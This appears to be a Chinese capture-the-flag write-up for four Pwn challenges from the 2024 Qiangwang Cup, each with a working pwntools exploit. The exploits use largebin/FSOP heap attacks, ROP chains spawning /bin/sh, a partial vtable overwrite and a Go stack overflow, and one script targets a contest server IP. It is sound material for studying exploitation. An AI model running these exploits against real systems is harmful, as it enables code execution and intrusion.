2024 强网杯S8Pwn方向部分题解
baby_heap 经典菜单堆,题目delete中uaf,只有一次show的机会,一次edit机会,同时发现libcbase+0x217000~0x217300偏移处被清0,但是没有关系,可以使用libcbase+0x216F40处的_IO_wfile_overflow 那么这样就可以直接largebin attack一次,同时覆盖_IO_list_all和布置FAKE_IO结构体,然后再
baby_heap
- 经典菜单堆,题目delete中uaf,只有一次show的机会,一次edit机会,同时发现libcbase+0x217000~0x217300偏移处被清0,但是没有关系,可以使用libcbase+0x216F40处的_IO_wfile_overflow

- 那么这样就可以直接largebin attack一次,同时覆盖_IO_list_all和布置FAKE_IO结构体,然后再次利用show函数中的exit触发IO
- 题目中open和openat被ban,可以考虑用openat2替换,read,write可以正常使用
- 但是发现题目中secret函数和default后的那个限制位置写16字节都没用...
需要注意的是这个题largebin attack了_IO_list_all后一般largebin都是ck2->ck1,然后IO_list_all指向ck1,但是有时候edit次数有限制,所以可以这样做
在edit ck2的bk_nextsize的时候,直接把IO布置到ck2上,largebin attack后IO_list_all指向ck1,但是再把ck1给add出来,那么此时因为出入bin的原因,IO_list_all最终指向ck2,那么就是一次edit直接打完largebin attack同时布置好了IO
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')
# p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x0170B)')
p=remote('39.106.63.28',20570)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
#b *$rebase(0x14F5)
def dbg():
gdb.attach(p,'b *$rebase(0x1A40)')
pause()
menu='Enter your choice:'
def add(size,):
p.sendlineafter(menu,str(1))
p.sendlineafter("Enter your commodity size \n",str(size))
def delete(idx):
p.sendlineafter(menu,str(2))
p.sendlineafter("Enter which to delete: \n",str(idx))
def edit(idx,cont):
p.sendlineafter(menu,str(3))
p.sendlineafter("Enter which to edit: \n",str(idx))
p.sendafter("Input the content \n",cont)
def show(idx):
p.sendlineafter(menu,str(4))
p.sendlineafter("Enter which to show: \n",str(idx))
def secret():
p.sendlineafter(menu,str(5))
p.sendlineafter('Maybe you will be sad',str(1))
def magic(addr,cont):
p.sendlineafter(menu,str(6))
p.sendafter("Input your target addr \n",addr)
p.send(cont)
# dbg()
add(0x520) #1
add(0x500)
add(0x510) #3
# add(0x500)
delete(1)
add(0x530)
# dbg()
show(1)
libcbase=u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))-0x21b110
print(p.recv(10))
heapbase=u64(p.recv(8))-0x001950
print(hex(libcbase))
print(hex(heapbase))
# pause()
# dbg()
delete(3)
io_list_all=libcbase+libc.sym['_IO_list_all']
fake_IO_addr = heapbase+0x001950
magic_gadget = libcbase + 0x16A06A
leave_ret = libcbase + 0x4da83 #: leave ; ret
pop_rdi_ret = libcbase + 0x2a3e5 #: pop rdi ; ret
pop_rsi_ret = libcbase + 0x2be51 #: pop rsi ; ret
pop_rdx_r12_ret = libcbase + 0x11f2e7 #: pop rdx ; pop r12 ; ret
rop_address = fake_IO_addr + 0xe0 + 0xe8 + 0x70
flag_addr=rop_address
shellcode=asm(shellcraft.openat2(-100,flag_addr,flag_addr+0x1000,0x18)+shellcraft.read(3,heapbase+0x10000,0x50)+shellcraft.write(1,heapbase+0x10000,0x50)+shellcraft.exit(0))
orw_rop = b'flag\x00\x00\x00\x00'
orw_rop += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr - 0x10)
orw_rop += p64(pop_rdi_ret) + p64(heapbase) +p64(pop_rsi_ret)+p64(0x10000)+p64(pop_rdx_r12_ret)+p64(7)*2+ p64(libcbase + libc.sym['mprotect'])
orw_rop += p64(heapbase+0x1bf0 )+shellcode
# payload = p64(0) + p64(leave_ret) + p64(1) + p64(2) #这样设置同时满足fsop
payload = p64(0)+p64(leave_ret)+p64(0)+p64(io_list_all-0x20)
payload = payload.ljust(0x38, b'\x00') + p64(rop_address) #FAKE FILE+0x48
payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0) #_wide_data=fake_IO_addr + 0xe0
payload = payload.ljust(0xc8, b'\x00') + p64(libcbase + 0x216F40) #vtable=_IO_wfile_jumps
#*(A+0Xe0)=B _wide_data->_wide_vtable=fake_IO_addr + 0xe0 + 0xe8
payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
#*(B+0X68)=C=magic_gadget
payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(magic_gadget)
payload = payload + orw_rop
# dbg()
edit(1,payload)
add(0x550)
add(0x510) #3
# dbg()
show(1)
# dbg()
p.interactive()
expect_number
随机数固定种子srand(1),可以直接本地生成出运算的序列。
from ctypes import CDLL
LIBC = CDLL("libc.so.6")
seed = LIBC.time(0)
LIBC.srand(1)
list = []
op = []
for i in range(289):
tmp = LIBC.rand() % 4 + 1
list.append(tmp)
if tmp == 1:
op.append("+")
elif tmp == 2:
op.append("-")
elif tmp == 3:
op.append("*")
elif tmp == 4:
op.append("/")
print(op)
每次运算的变量范围为[0,1,2],那么288次运算相当于一个288元一次方程,使用z3求解。
from z3 import Int, Solver, Or, sat
# 运算符序列
op=['/', '*', '-', '/', '-', '/', '*', '+', '-', '-', '*', '/', '*', '/', '/', '*', '+', '*', '+', '+', '/', '+', '/', '-', '*',
'*', '*', '/', '/', '/', '-', '*', '*', '*', '-', '/', '-', '+', '/', '*', '-', '-', '-', '/', '+', '-', '*', '+', '/', '*',
'-', '*', '/', '+', '+', '-', '*', '*', '+', '-', '-', '-', '+', '/', '+', '-', '*', '-', '-', '-', '+', '/', '*', '-', '*',
'/', '*', '+', '/', '*', '/', '+', '+', '*', '+', '+', '/', '/', '*', '/', '+', '+', '+', '+', '/', '+', '*', '*', '*', '/',
'/', '*', '*', '*', '/', '-', '-', '*', '-', '+', '+', '+', '-', '+', '*', '-', '-', '-', '+', '/', '+', '-', '/', '-', '-',
'/', '-', '/', '-', '/', '/', '+', '-', '-', '*', '-', '*', '/', '/', '+', '+', '/', '+', '-', '/', '/', '*', '+', '+', '/',
'+', '-', '+', '/', '*', '-', '*', '/', '-', '/', '/', '+', '+', '+', '-', '*', '-', '+', '*', '+', '+', '*', '/', '+', '/',
'/', '/', '-', '/', '+', '+', '/', '-', '+', '/', '/', '*', '-', '*', '/', '-', '-', '/', '-', '*', '+', '/', '/', '+', '-',
'+', '+', '/', '/', '-', '*', '*', '+', '+', '*', '+', '+', '-', '-', '-', '+', '+', '/', '*', '/', '*', '/', '+', '-', '+',
'*', '-', '/', '*', '*', '-', '*', '*', '+', '-', '/', '/', '+', '+', '/', '*', '+', '/', '/', '*', '+', '+', '*', '/', '*',
'-', '-', '-', '*', '*', '-', '+', '+', '+', '*', '*', '-', '+', '+', '*', '*', '+', '-', '*', '+', '+', '+', '+', '/', '/',
'*', '+', '/', '-', '/', '-', '*', '-', '*', '+', '/', '/', '-', '/'][:277]
# 目标值
target_value = 0xa2
# 参数列表
params = [Int(f"params[{i}]") for i in range(len(op)+1)]
print(params)
# 创建求解器
solver = Solver()
# 添加参数范围约束
# for param in params:
# solver.add(Or(param == 0, param == 1, param == 2))
# 构建表达式
solver.add(params[0] == 0x0)
expr = params[0]
for i in range(len(op)):
solver.add(params[i+1] >= 0)
solver.add(params[i+1] <= 2)
if op[i] == "+":
solver.add(expr + params[i+1]<256)
expr += params[i+1]
elif op[i] == "-":
solver.add(expr - params[i+1]>=0)
expr -= params[i+1]
elif op[i] == "*":
solver.add(expr * params[i+1]<256)
expr *= params[i+1]
elif op[i] == "/":
solver.add(params[i+1] != 0)
solver.add(expr % params[i+1]==0)
expr /= params[i+1]
# 添加目标值约束
solver.add(expr == target_value)
# 检查是否有解
if solver.check() == sat:
model = solver.model()
solution = [model[param].as_long() for param in params]
print("Solution found:", solution)
else:
print("No solution found")
#[0, 1, 1, 0, 1, 0, 1, 2, 2, 0, 2, 1, 1, 0, 2, 1, 0, 2, 2, 2, 2, 2, 0, 2, 0, 2, 2, 0, 1, 2, 1, 0, 0, 2, 1, 0, 2, 0, 1, 1, 0, 0, 0, 0, 2, 2, 0, 0, 0, 2, 1, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 1, 2, 1, 0, 0, 0, 0, 0, 0, 2, 2, 2, 0, 2, 1, 1, 1, 1, 2, 1, 1, 1, 0, 1, 1, 1, 2, 2, 1, 0, 0, 0, 0, 1, 0, 1, 2, 2, 1, 2, 1, 2, 1, 1, 2, 0, 1, 0, 2, 1, 2, 0, 1, 1, 0, 2, 0, 1, 1, 1, 0, 1, 2, 0, 1, 0, 1, 0, 2, 1, 0, 0, 2, 1, 1, 2, 2, 1, 1, 1, 1, 0, 2, 1, 1, 0, 2, 0, 1, 0, 1, 1, 1, 2, 2, 1, 2, 1, 2, 1, 1, 0, 0, 0, 0, 0, 0, 1, 2, 0, 1, 1, 2, 1, 2, 1, 2, 1, 0, 2, 1, 0, 2, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 2, 2, 2, 1, 0, 0, 1, 2, 2, 2, 0, 1, 2, 2, 0, 1, 2, 2, 0, 1, 1, 2, 2, 1, 2, 1, 2, 1, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 2, 1, 1, 0, 0, 1, 1, 0, 1, 1, 1, 1, 0, 2, 1, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 2, 0, 0, 0, 0, 1, 2, 1, 0]
这里的z3求解可以分段求解,比如让先求0-100次的结果,让其为0,再求101-200次结果让其为0。当然也可以不用z3,直接手算。
原题的0xa2 submit后会system("cat gift"),远程测试后发现根本没有gift...
观察发现读入数字的位置可以溢出到0x5520的位置,这里是一个虚表,原来指向的是goodbye函数。

那么如果paritial overwrite,就可以将它改成指向后门函数的虚表。

只需要覆盖一个字节,覆盖成0x60,用z3求解前277次运算结果为0x60。发现很慢,于是分三段求解,1-100,101-220, 221-277,令前两段结果为0,最后一段结果为0x60即可.

gift = [2, 1, 0, 1, 0, 1, 2, 2, 2, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 2, 0, 1, 0, 1, 0,
1, 0, 2, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 2, 1, 2, 2, 2, 1, 2, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 2, 2, 1,
2, 1, 2, 1, 0, 0, 1, 0, 0, 1, 2, 2, 1, 1, 0, 1, 1, 1, 0, 2, 0, 2, 1]
# 1-100
gift1 = [0, 2, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0,
0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 1, 1, 0,
1, 0, 0, 1, 0, 0, 1, 1, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1
]
gift1 = [1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 2, 2, 0, 1, 1,
0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 2, 0, 1, 1, 0, 0, 0, 0, 2, 0, 0, 2, 1, 1, 1, 1, 0, 1, 1, 1,
2, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 2, 1, 0, 0, 1, 0, 2, 1, 1, 1, 2, 2, 2, 2, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 0
, 1]
# 101-220
gift2 = [0, 1, 2, 1, 2, 2, 1, 1, 0, 2, 0, 2, 1, 0, 0, 2, 1, 1, 0, 1, 2, 2, 1, 2, 2, 0, 0, 2, 1, 2, 2, 2, 2, 1, 2, 2,
2, 1, 2, 1, 2, 2, 2, 2, 2, 2, 2, 2, 1, 0, 0, 0, 0, 2, 2, 2, 0]
# 221-277
print(len(gift+gift1+gift2))
通过C++异常处理机制绕过canary,将返回地址覆盖到后门即可

- exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
from Crypto.Cipher import ARC4
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/expect_number")
# p=gdb.debug("/home/zp9080/PWN/expect_number",'b *$rebase(0x25B8 )')
# p=remote('0192d5d3be0f782ea43281dc0cf29672.3iz5.dg04.ciihw.cn',46453)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
# elf = ELF("/home/zp9080/PWN/expect_number")
# libc=elf.libc
#b *$rebase(0x14F5)
def dbg():
gdb.attach(p,'b *$rebase(0x29E2)')
pause()
gift = [2, 1, 0, 1, 0, 1, 2, 2, 2, 0, 1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 2, 0, 1, 0, 1, 0,
1, 0, 2, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 2, 1, 2, 2, 2, 1, 2, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 0, 2, 2, 1,
2, 1, 2, 1, 0, 0, 1, 0, 0, 1, 2, 2, 1, 1, 0, 1, 1, 1, 0, 2, 0, 2, 1]
gift1 = [1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 2, 2, 0, 1, 1,
0, 0, 1, 1, 1, 0, 1, 1, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 1, 0, 0, 1, 2, 0, 1, 1, 0, 0, 0, 0, 2, 0, 0, 2, 1, 1, 1, 1, 0, 1, 1, 1,
2, 1, 1, 0, 1, 0, 0, 1, 1, 0, 0, 2, 1, 0, 0, 1, 0, 2, 1, 1, 1, 2, 2, 2, 2, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 1, 1, 1, 0
, 1]
gift2 = [0, 1, 2, 0, 1, 0, 0, 1, 1, 1, 0, 0, 0, 2, 1, 1, 1, 2, 2, 1, 2, 2, 1, 1, 1, 1, 2, 1, 1, 1, 2, 0, 2, 2, 2,
0, 0, 2, 0, 2, 1, 0, 1, 0, 1, 1, 0, 0, 1, 2, 1, 0, 0, 1, 1, 1]
def guess(i):
p.sendlineafter("choice", str(1))
p.sendlineafter("0", str(i))
gift = gift + gift1 + gift2
for i in gift:
guess(i)
# dbg("b *$rebase(0x29e2)")
# dbg()
p.sendlineafter("choice", str(2))
p.recvuntil(b'0012100111')
pie=u64(p.recv(6).ljust(8,b'\x00'))-0x4c60
bss=0x5040+pie+0x800
print(hex(pie))
backdoor=pie+0x253D
p.sendlineafter("choice", str(4))
# p.sendafter("Tell me your favorite number.", p64(backdoor)*4+b'\xf8')
p.sendafter("Tell me your favorite number.", b'a'*0x20+p64(bss)+p64(pie+0x251a))
p.interactive()
chat_with_me
这里add看不出来像常规菜单堆的堆块变化。发现add后然后show时会泄露栈上的数据,所以很容易就得到pie,heapbase,以及stack地址。
然后测试一下edit的功能,可以看到edit函数中限制是0x50,即使我们输入b'a'*0x50,程序也会崩掉,发现edit的最后有个任意地址的free,我们edit偏移为0x20处的那个地方就是free的地址。

多次会分配0x50(使用realloc扩容),这个会扩容的堆块上存着一些指向栈上的指针,指向edit输入的内容会复制到的位置(只会复制0x50),那么如果能控制这个堆块,就可以任意地址写。
同时发现edit会写入0x2010大小的堆块缓冲区,。所以如果我们可以将其free掉,然后再多次add,那么就可以申请出的0x50的堆块就会从这个unsorted bin中切割获得,那么我们再进行edit,这个0x50大小的堆块存的数据都可以被我们覆盖
通过如下方式进行伪造
edit(0,b"a"*0x20+p64(heapbase+0xaa0+0x30)+p64(0x1fe1))
可以看到伪造的堆块被成功放入unsorted bin

然后进行多次add,申请出0x50大小的堆块。利用edit来覆盖指针,这里的p64(stack-0x50)对应idx=0的指针,p64(memcpy_got)对应idx=1的指针
memcpy_got=pie+0x61DF8
edit(0,b"\x00"*0x30+p64(stack-0x50)+p64(memcpy_got))
# dbg()
show(1)

- 完整exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
import ast
import struct
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/pwn")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *$rebase(0x1A8F7)')
# p=remote('0192d5d3be0f782ea43281dc0cf29672.3iz5.dg04.ciihw.cn',46453)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
elf = ELF("/home/zp9080/PWN/pwn")
libc=elf.libc
#b *$rebase(0x14F5)
def dbg():
gdb.attach(p,'b *$rebase(0x3D845)')
pause()
menu='Choice >'
def add():
p.sendlineafter(menu,str(1))
def show(idx):
p.sendlineafter(menu,str(2))
p.sendlineafter('Index >',str(idx))
def edit(idx,cont):
p.sendlineafter(menu,str(3))
p.sendlineafter('Index >',str(idx))
p.sendafter('Content >',cont)
def delete(idx):
p.sendlineafter(menu,str(4))
p.sendlineafter('Index >',str(idx))
add()
# dbg()
show(0)
p.recvuntil("Content: ")
print("----------------")
# data = p.recv(280 - 4)
data = p.recvline()
data_str = data.decode("utf-8")
data_list = ast.literal_eval(data_str)
print(data_list)
# 泄露pie
bytes_data = data_list[40:48]
byte_array = bytes(bytes_data)
pie = struct.unpack("<Q", byte_array)[0] - 0x0635B0
print(hex(pie))
# 泄露stack
bytes_data = data_list[32:40]
byte_array = bytes(bytes_data)
stack = struct.unpack("<Q", byte_array)[0]
print(hex(stack))
# heapbase
bytes_data = data_list[8:16]
byte_array = bytes(bytes_data)
heapbase = number = struct.unpack("<Q", byte_array)[0] - 0x002ab0
print(hex(heapbase))
dbg()
edit(0,b"a"*0x20+p64(heapbase+0xaa0+0x30)+p64(0x1fe1))
for i in range(0x4):
add()
memcpy_got=pie+0x61DF8
edit(0,b"\x00"*0x30+p64(stack-0x50)+p64(memcpy_got))
# dbg()
show(1)
# dbg()
p.recvuntil("Content: ")
data = p.recvline()
data_str = data.decode("utf-8")
data_list = ast.literal_eval(data_str)
bytes_data = data_list[0:8]
byte_array = bytes(bytes_data)
libcbase = struct.unpack("<Q", byte_array)[0]-0x1988c0
print(hex(libcbase))
pop_rdi = libcbase+0x000000000010f75b
system = libcbase+libc.sym['system']
binsh = libcbase+next(libc.search(b"/bin/sh"))
ret=libcbase+0x2882f
payload = p64(pop_rdi)+ p64(binsh) + p64(ret) + p64(system)
edit(0,payload)
p.interactive()
qroute
题目首先要过一个cert,这个很简单cert 4ceb539da109caf8eea7就过了
接下来要做的就是逆向各个功能,但是发现大部分函数都比较正常,在exec ping中发现有个很可疑的地方,strings_genSplit根据'.'分割字符串,然后这个for循环是在往栈上写值。


测试发现这里确实有漏洞,要注意的是在exec ping之前要set dns,否则不会进入for循环这个部分。
能够覆盖到返回地址,基本上就是个布置ROP了,没有太多难度,需要注意golang函数调用方式,可以参考这篇文章
- exp
from pwnlib.util.packing import u64
from pwnlib.util.packing import u32
from pwnlib.util.packing import u16
from pwnlib.util.packing import u8
from pwnlib.util.packing import p64
from pwnlib.util.packing import p32
from pwnlib.util.packing import p16
from pwnlib.util.packing import p8
from pwn import *
from ctypes import *
from Crypto.Cipher import ARC4
context(os='linux', arch='amd64', log_level='debug')
p = process("/home/zp9080/PWN/route")
# p=gdb.debug("/home/zp9080/PWN/pwn",'b *0x8049324')
# p=remote('0192d5d3be0f782ea43281dc0cf29672.3iz5.dg04.ciihw.cn',46453)
# p=process(['seccomp-tools','dump','/home/zp9080/PWN/pwn'])
# elf = ELF("/home/zp9080/PWN/pwn")
# libc=elf.libc
#b *$rebase(0x14F5)
def dbg():
gdb.attach(p,'b *0x4D858C')
pause()
def set_dns(dns,ip):
p.sendlineafter(b"Router",b"set dns " + dns + b" " + ip)
def set_route(route):
p.sendlineafter("Router",b"set route " + route)
def exec(cmd):
p.sendlineafter("Router",b"exec " + cmd)
p.sendline(b'cert 4ceb539da109caf8eea7')
p.sendline(b'configure')
pop_rax_rbp = 0x0000000000405368
pop_rbx = 0x0000000000461dc1
pop_rcx = 0x0000000000433347
bss = 0x006102B0
pop_rbp = 0x0000000000401030#: pop rbp ; ret
sys_read = 0x0048DB60
leave_ret = 0x00000000004a721a
payload = b"."*0x207+p64(pop_rbp) + p64(bss)+ p64(pop_rcx) + p64(0x200) + p64(pop_rbx) + p64(0x006102B0) + p64(sys_read) + p64(leave_ret)[:5]
set_dns(payload,b'1.1.1.1')
# dbg()
p.sendlineafter("Router",b"exec ping host " +payload)
syscall = 0x004735A9 #mov rdi, rbx;syscall
payload = p64(0) + p64(pop_rax_rbp) + p64(0x3b) + p64(0) + p64(pop_rbx) + p64(bss+0x100) + p64(syscall)
p.sendline(payload.ljust(0x100,b"\x00")+b"/bin/sh\x00")
p.interactive()